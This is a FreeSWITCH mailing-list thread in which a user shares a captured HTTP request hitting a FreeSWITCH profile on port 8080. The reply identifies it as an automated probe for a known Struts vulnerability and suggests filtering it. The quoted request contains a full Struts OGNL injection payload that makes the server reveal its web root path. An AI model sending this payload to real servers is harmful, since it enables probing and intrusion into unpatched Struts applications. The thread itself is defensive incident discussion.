Looks like [likely automatic] attempt to exploit well-known Struts vulnerability.
Nothing to worry about - you keep Freeswitch on port well known for presenting http-related services, you'll get more of it.

Just block all strings containing 'HTTP/1' and forget about that - Internet is full of bots and zombies.

Best regards,
O.

On 18 November 2015 at 17:02, Russell Treleaven <rtreleaven@bunnykick.ca> wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now.
A freeswitch profile is listening on :8080

a.b.c.d = remote address
w.x.y.z = freeswitch address

What is this?
Is it a concern?

recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319:
   ------------------------------------------------------------------------
   POST /login.action HTTP/1.1
   User-Agent: Mozilla/5.0
   Accept: */*
   Content-Type: application/x-www-form-urlencoded
   Host: w.x.y.z:8080
 
Content-Length: 395
   Expect: 100-continue
   Connection: Keep-Alive
   
   redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}


_________________________________________________________________________
Professional FreeSWITCH Consulting Services:
consulting@freeswitch.org
http://www.freeswitchsolutions.com

Official FreeSWITCH Sites
http://www.freeswitch.org
http://confluence.freeswitch.org
http://www.cluecon.com

FreeSWITCH-users mailing list
FreeSWITCH-users@lists.freeswitch.org
http://lists.freeswitch.org/mailman/listinfo/freeswitch-users
UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users
http://www.freeswitch.org